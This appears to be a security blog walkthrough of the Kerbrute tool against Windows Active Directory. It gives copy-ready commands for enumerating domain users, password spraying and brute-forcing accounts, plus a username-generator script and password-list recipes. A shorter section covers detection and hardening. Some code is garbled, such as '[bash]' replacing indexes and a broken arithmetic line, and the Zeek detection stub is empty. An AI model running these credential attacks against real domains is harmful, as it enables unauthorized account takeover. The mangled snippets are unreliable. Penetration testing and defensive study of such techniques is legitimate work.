Listen to this Post
Introduction:
Kerberos authentication, the default network authentication protocol in Windows domains, is often a blind spot for security teams. Kerbrute is a specialized tool that abuses Kerberos pre-authentication to enumerate valid domain users and perform password spraying without triggering traditional lockout policies. This guide provides a complete technical walkthrough of Kerbrute installation, user enumeration, password attacks, and defensive mitigations for Active Directory environments.
Learning Objectives:
- Master Kerbrute installation and command-line options for Active Directory enumeration
- Execute user enumeration, password spray, and brute-force attacks against Kerberos
- Implement detection and mitigation strategies to defend against Kerbrute-style attacks
You Should Know:
1. Kerbrute Setup & Command Structure
Kerbrute is a Go-based tool available for Linux, Windows, and macOS. Download the latest release from GitHub or build from source.
Linux Installation:
Download binary (example for v1.0.3) wget https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_linux_amd64 chmod +x kerbrute_linux_amd64 sudo mv kerbrute_linux_amd64 /usr/local/bin/kerbrute Verify installation kerbrute -h
Windows Installation:
Download kerbrute_windows_amd64.exe from GitHub releases Rename to kerbrute.exe and place in C:\Tools\ or add to PATH kerbrute.exe -h
Available Commands & Features:
kerbrute -h Output shows: bruteforce - Brute-force usernames or passwords passwordspray - Test a single password against many users userenum - Enumerate valid domain users version - Print version
Key flags:
– `–dc` – Target Domain Controller IP/hostname
– `-d` – Domain name (e.g., contoso.local)
– `-o` – Output file for results
– `-v` – Verbose mode
– `–threads` – Number of concurrent threads (default 10)
- User Enumeration – Finding Valid Domain Users Without Credentials
Kerbrute can discover valid usernames by exploiting Kerberos pre-authentication. When a username is valid, the KDC responds with KRB5KDC_ERR_PREAUTH_REQUIRED; invalid usernames return KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN.
Step-by-step guide:
1. Prepare a username wordlist (e.g., `names.txt`):
Administrator jsmith bjones ssmith krbtgt Guest
2. Run user enumeration:
kerbrute userenum --dc 192.168.1.10 -d contoso.local names.txt -o valid_users.txt
3. Using a larger wordlist from SecLists:
wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Usernames/xato-net-10-million-usernames.txt -O usernames.txt kerbrute userenum --dc 10.0.0.5 -d acme.corp usernames.txt --threads 20 -v
Windows equivalent:
kerbrute.exe userenum --dc 192.168.1.10 -d contoso.local users.txt -o found_users.txt
What this does: The tool sends AS-REQ requests without pre-authentication. Valid usernames cause the DC to ask for pre-authentication (error code 0x12). Invalid usernames return “principal unknown” (error code 0x6). This technique does not require any valid credentials and leaves minimal logs.
- Password Spray Attack – One Password, Many Users
Password spraying tests a single weak password (e.g., Fall2025!) against a large list of users. This avoids account lockouts because each user gets only one attempt.
Step-by-step guide:
- Create a user list (from enumeration results or known employees):
Administrator jdoe asmith bsullivan
2. Execute password spray:
kerbrute passwordspray --dc 192.168.1.10 -d contoso.local users.txt "Fall2025!" -o spray_results.txt
- Using a password file (spray multiple passwords sequentially):
For each password in passwords.txt, spray against all users while read p; do echo "Spraying: $p" kerbrute passwordspray --dc 192.168.1.10 -d contoso.local users.txt "$p" --threads 5 done < passwords.txt
Mitigation: Enforce strong password policies, implement smart lockout (Azure AD or Windows Server 2016+), and monitor Event IDs 4771 (Kerberos pre-authentication failed) with failure code 0x12 for multiple users.
- Password Brute-Force Attacks – One User, Many Passwords
Brute-force targets a single user (like a service account or administrator) with multiple password attempts. This is noisy and risks account lockout but can be effective against non-lockout accounts.
Step-by-step guide:
Brute-force a single user with a password wordlist kerbrute bruteforce --dc 192.168.1.10 -d contoso.local administrator passwords.txt -o brute_admin.txt Brute-force multiple users with multiple passwords (cartesian product) kerbrute bruteforce --dc 192.168.1.10 -d contoso.local users.txt passwords.txt --threads 30
Creating effective password lists with Hashcat rules:
Generate permutations from a base wordlist using best64.rule hashcat --stdout rockyou.txt -r /usr/share/hashcat/rules/best64.rule > expanded_passwords.txt
Linux command to filter common AD passwords:
grep -E '^(Password|Welcome|ChangeMe|Company|Season)[0-9]{2,4}[!@$]?' rockyou.txt > ad_passwords.txt
5. Brute-Force Username Combinations – Automated User Generation
Kerbrute can generate username permutations from first and last names using common AD naming conventions (first.last, flast, firstl, etc.).
Step-by-step guide using external tools:
1. Create a name list (`names.csv`):
First,Last John,Smith Jane,Doe Robert,Johnson
2. Generate username permutations with Python:
username_generator.py
import csv
conventions = ['{f}{l}', '{f}.{l}', '{f}{last}', '{first}{l}', '{first}.{last}', '{first}_{last}', '{first}{last}{num}']
with open('names.csv') as f:
for row in csv.DictReader(f):
first = row['First'].lower()
last = row['Last'].lower()
for conv in conventions:
print(conv.format(f=first[bash], l=last[bash], first=first, last=last, num='1'))
3. Pipe generated usernames directly to Kerbrute:
python username_generator.py | kerbrute userenum --dc 192.168.1.10 -d contoso.local --threads 10 -
- Saving Output & Using Verbose Mode for Detailed Results
Kerbrute provides structured output for reporting and analysis.
Verbose mode reveals:
- Each request sent (AS-REQ)
- Response error codes received
- Timing information per attempt
kerbrute userenum --dc 192.168.1.10 -d contoso.local users.txt -v --delay 200ms -o results.txt
Output file format (CSV-compatible):
2025/01/15 10:32:01 > Using KDC: 192.168.1.10:88 2025/01/15 10:32:05 > [+] VALID USER: jsmith 2025/01/15 10:32:07 > [-] INVALID USER: notauser
Parsing results for reporting:
Extract only valid users
grep "VALID USER" results.txt | awk '{print $NF}' > confirmed_users.txt
Count attempts and success rate
total=$(wc -l < users.txt)
success=$(grep -c "VALID USER" results.txt)
echo "Success rate: $((success 100 / total))%"
7. Mitigation & Defense Techniques (Blue Team)
Defending against Kerbrute requires a layered approach focusing on detection and prevention.
Detection (Windows Event Logs):
- Event ID 4771 – Kerberos pre-authentication failed. Look for multiple failures from same source IP with different usernames (password spray) or many failures for same username (brute-force).
- Event ID 4768 – Kerberos authentication ticket (TGT) requested. Anomalous volumes from non-domain-joined machines.
PowerShell command to detect password spray:
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4771} | Where-Object {$<em>.Message -like "0x12"} | Group-Object -Property {$</em>.Properties[bash].Value} | Where-Object {$_.Count -gt 10} | Select Name, Count
Prevention strategies:
- Smart Lockout (Azure AD / Windows Server 2016+): Locks out attackers but allows legitimate users after threshold.
- Disable Kerberos pre-authentication for service accounts? (Not recommended – breaks Kerberos).
- Use ESAE (Red Forest) for privileged accounts.
- Implement network segmentation – restrict inbound Kerberos (TCP/UDP 88) to DCs from trusted subnets only.
Linux-based detection with Zeek (formerly Bro):
Zeek script to detect Kerberos user enumeration
@load base/protocols/krb
event krb_as_request(c: connection, msg: KRB::ASRequest)
{
local unknown_count = 0;
if ( msg?$cname && msg$cname?$name_string && |msg$cname$name_string| > 0 )
{
Track unique principal names per source IP
Alert if >50 in 60 seconds
}
}
Hardening Active Directory:
- Enable advanced audit policies: `auditpol /set /subcategory:”Kerberos Authentication Service” /success:enable /failure:enable`
– Configure account lockout threshold: 5 attempts in 15 minutes, reset after 30 minutes. - Use Microsoft Defender for Identity to detect reconnaissance.
What Undercode Say:
- Kerbrute is a silent killer – It exploits design choices in Kerberos (pre-auth error codes) rather than a vulnerability, making it hard to patch away without breaking compatibility.
- Defense requires behavior analysis, not just configuration – Traditional lockout policies don’t stop password spraying; you need anomaly detection on login failure patterns across users.
- Tool mastery is dual-use – Red teams must understand Kerbrute to test properly; blue teams must simulate these attacks to validate monitoring. The real gap is not the tool but the telemetry coverage.
Analysis: Kerbrute represents a shift in AD attack tooling from SMB-based enumeration (often logged) to Kerberos-based techniques that blend into normal traffic. Most organizations lack baseline Kerberos AS-REQ/AS-REP volume metrics. Without proper event forwarding and SIEM correlation, Kerbrute will succeed silently. The most effective mitigation is not technical but procedural: enforce MFA for all users, rendering password-only attacks irrelevant. However, legacy service accounts remain a weak spot.
Prediction:
As Microsoft pushes cloud-native authentication (Azure AD, WHfB), Kerbrute-style attacks will decline for hybrid identities but persist for on-prem AD for another 5-7 years. Attackers will adapt by combining Kerbrute with AS-REP roasting (targeting accounts with pre-auth disabled). Expect automated Kerbrute-as-a-service offerings on criminal forums, packaged with username generators using LinkedIn scraping. Defenders will finally adopt Kerberos anomaly detection as a standard SIEM use case, but smaller organizations without dedicated security teams will remain exposed until forced by cyber insurance requirements.
▶️ Related Video (78% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: A Detailed – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
